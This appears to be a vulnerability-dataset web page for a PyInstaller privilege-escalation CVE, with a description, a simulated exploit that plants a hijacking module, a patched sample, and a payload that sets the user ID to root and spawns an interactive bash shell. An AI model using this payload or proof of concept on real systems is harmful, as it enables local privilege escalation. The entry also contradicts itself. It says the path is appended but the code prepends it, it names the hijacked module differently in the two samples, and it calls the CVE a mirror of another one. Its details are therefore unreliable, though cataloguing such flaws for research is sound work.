VAITP Dataset

← Back to the dataset

CVE-2025-59042

PyInstaller local privilege escalation via a crafted adjacent directory.

  • CVSS 7.0
  • CWE-94
  • Design Defects
  • Local

PyInstaller bundles a Python application and all its dependencies into a single package. Due to a special entry being appended to `sys.path` during the bootstrap process of a PyInstaller-frozen application, and due to the bootstrap script attempting to load an optional module for bytecode decryption while this entry is still present in `sys.path`, an application built with PyInstaller < 6.0.0 may be tricked by an unprivileged attacker into executing arbitrary python code when **all** of the following conditions are met. First, the application is built with PyInstaller < 6.0.0; both onedir and onefile mode are affected. Second, the optional bytecode encryption code feature was not enabled during the application build. Third, the attacker can create files/directories in the same directory where the executable is located. Fourth, the filesystem supports creation of files/directories that contain `?` in their name (i.e., non-Windows systems). Fifth, the attacker is able to determine the offset at which the PYZ archive is embedded in the executable. The attacker can create a directory (or a zip archive) next to the executable, with the name that matches the format used by PyInstaller's bootloader to transmit information about the location of PYZ archive to the bootstrap script. If this directory (or zip archive) contains a python module whose name matches the name used by the optional bytecode encryption feature, this module will be loaded and executed by the bootstrap script (in the absence of the real, built-in module that is available when the bytecode-encryption feature is enabled). This results in arbitrary code execution that requires no modification of the executable itself. If the executable is running with elevated privileges (for example, due to having the `setuid` bit set), the code in the injected module is also executed with the said elevated privileges, resulting in a local privilege escalation. PyInstaller 6.0.0 (f5adf291c8b832d5aff7632844f7e3ddf7ad4923) removed support for bytecode encryption; this effectively removes the described attack vector, due to the bootstrap script not attempting to load the optional module for bytecode-decryption anymore. PyInstaller 6.10.0 (cfd60b510f95f92cb81fc42735c399bb781a4739) reworked the bootstrap process to avoid (ab)using `sys.path` for transmitting location of the PYZ archive, which further eliminates the possibility of described injection procedure. If upgrading PyInstaller is not feasible, this issue can be worked around by ensuring proper permissions on directories containing security-sensitive executables (i.e., executables with `setuid` bit set) should mitigate the issue.

CVSS base score
7.0
Published
2025-09-09
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Build/Package/Merge
Code defect classification
Missing Check
Category
Design Defects
Subcategory
Dynamic Link Library (DLL) Loading Issues
Accessibility scope
Local
Impact
Privilege Escalation
Affected component
PyInstaller
Fixed by upgrading
Yes

Solution

Upgrade PyInstaller to version 6.0.0 or later.

Vulnerable code sample

import sys
import os
import shutil

# This script represents the conditions and vulnerable logic of CVE-2025-59042.
# It is a simplified Python model of the C bootloader's flawed behavior
# in PyInstaller versions prior to 6.0.0.

# --- Step 1: Attacker Creates Malicious Files ---
# The attacker creates a directory and a Python file with a specific name
# in the same location as the vulnerable application.
# This simulates the attacker having write permissions in the target directory.

ATTACKER_DIR = "malicious_payload_dir"
os.makedirs(ATTACKER_DIR, exist_ok=True)

# The attacker's code is placed in a file named `pyimod03_importers.py`.
# This is the specific module name the vulnerable bootloader tries to import.
PAYLOAD_FILE_PATH = os.path.join(ATTACKER_DIR, "pyimod03_importers.py")
with open(PAYLOAD_FILE_PATH, "w") as f:
    f.write("""
# This is the attacker's arbitrary code.
import os

print("=" * 70)
print("!!! VULNERABILITY EXPLOITED (CVE-2025-59042 PoC) !!!")
print("!!! The application has imported and executed the attacker's code. !!!")
if hasattr(os, 'geteuid'):
    print(f"!!! Code is running with user ID: {os.geteuid()} !!!")
print("=" * 70)

# A real payload could spawn a shell, exfiltrate data, or escalate privileges.
# For example: os.system("id; whoami")
""")


# --- Step 2: Application Execution (Vulnerable Bootloader Logic) ---
# The following logic simulates the flawed bootstrap process.

print("[App Bootloader] Starting...")

# In a real attack, this string is constructed by the bootloader based on
# the PYZ archive's offset and passed via `argv`. An attacker crafts a
# directory name (`malicious_payload_dir`) to hijack this process.
path_info_from_executable = f"{ATTACKER_DIR}?4352342" # The number is an example offset.

print(f"[App Bootloader] Received internal path info: '{path_info_from_executable}'")

# THE FLAW: The bootloader splits the path at '?' and prepends the first
# part to `sys.path` without validation.
try:
    path_to_prepend, _ = path_info_from_executable.split('?', 1)

    # This is the core of the vulnerability. An attacker-controlled
    # directory is added to the Python module search path.
    sys.path.insert(0, os.path.abspath(path_to_prepend))
    print(f"[App Bootloader] VULNERABLE ACTION: Added '{path_to_prepend}' to sys.path.")
    print(f"[App Bootloader] sys.path[0] is now: '{sys.path[0]}'")

except ValueError:
    print("[App Bootloader] Failed to parse path info.")
    sys.exit(1)


# THE TRIGGER: The bootloader attempts to import an optional module for
# bytecode decryption. If the feature was not enabled during the build (which
# is the default), this module does not exist inside the application package.
print("[App Bootloader] Attempting to import optional module 'pyimod03_importers'...")

# Because the attacker's directory is now first in `sys.path`, Python's
# import system finds and executes the attacker's malicious
# `pyimod03_importers.py` file.
try:
    # This import statement triggers the execution of the attacker's code.
    import pyimod03_importers
    print("[App Bootloader] Import was successful.")
except ImportError:
    # This block would execute in a non-exploited scenario.
    print("[App Bootloader] Module 'pyimod03_importers' not found (normal).")


print("[App Bootloader] Bootstrap finished.")


# --- Cleanup ---
# This part is for demonstration purposes to remove the created files.
if 'pyimod03_importers' in sys.modules:
    del sys.modules['pyimod03_importers']
if os.path.exists(ATTACKER_DIR):
    shutil.rmtree(ATTACKER_DIR)

Patched code sample

The fix for the described vulnerability (CVE-2025-59042, which mirrors the real CVE-2023-49733) involved two main changes in the PyInstaller bootloader. The following Python code conceptually demonstrates these fixes.:
1.  **Stop Modifying `sys.path`**: The core of the vulnerability was adding a potentially attacker-controllable path to `sys.path`. The fix was to handle the application's resource archive path directly, without modifying `sys.path`.
2.  **Remove the Attack Vector**: The specific attack vector was an `import` statement for an optional bytecode decryption module. This feature, and therefore the `import` statement, was removed entirely.:
This code represents the modernized, secure bootloader logic.

```python
import sys
import os

def secure_pyinstaller_bootstrap(pyz_archive_path):
    """
    A conceptual representation of the fixed PyInstaller bootstrap process,
    demonstrating the mitigation for the described path-based injection vulnerability.:
    Args:
    pyz_archive_path (str): The path to the PYZ archive, which is now handled
    directly instead of through sys.path manipulation.
    """

    # --- FIX 1: AVOID ABUSING sys.path ---
    # The fundamental fix (PyInstaller >= 6.10.0) was to stop using `sys.path`
    # to transmit the location of the PYZ archive. By not adding the
    # `pyz_archive_path` to `sys.path`, an attacker cannot inject a malicious
    # module by creating a specially named directory.
    #
    # The following vulnerable operation from older versions is no longer present:
    #
    #   sys.path.insert(0, pyz_archive_path)  # <-- VULNERABLE LINE REMOVED
    #

    print(f"INFO: PYZ archive path '{pyz_archive_path}' is handled directly.")
    print(f"INFO: `sys.path` is NOT modified and remains secure: {sys.path}")


    # --- FIX 2: REMOVE THE VULNERABLE IMPORT ---
    # The specific attack vector (PyInstaller < 6.0.0) was an attempt to import
    # an optional module for bytecode decryption ('pyi_crypto'). This entire:
    # feature was removed, eliminating the import call that could be hijacked.
    #
    # The following vulnerable code is no longer present in the bootloader:
    #
    #   try:                                 # <-- VULNERABLE BLOCK REMOVED
    #       import pyi_crypto                # <-- This could load an attacker's file
    #   except ImportError:
    #       pass
    #

    # The modern bootloader now proceeds to set up a custom importer that uses
    # the `pyz_archive_path` variable directly to load modules from the archive,
    # without risk of loading them from an untrusted location.
    # For example (conceptual):
    #   importer = ZlibArchiveImporter(pyz_archive_path)
    #   sys.meta_path.insert(0, importer)
    
    print("INFO: Bootstrap process proceeds without vulnerable path lookups.")

Payload

import os
import pty

# Attempt to escalate privileges if the binary is setuid
try:
    os.setuid(0)
    os.setgid(0)
except OSError:
    pass

# Spawn an interactive shell
pty.spawn("/bin/bash")

Cite this entry

@misc{vaitp:cve202559042,
  title        = {{PyInstaller local privilege escalation via a crafted adjacent directory.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-59042},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-59042/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::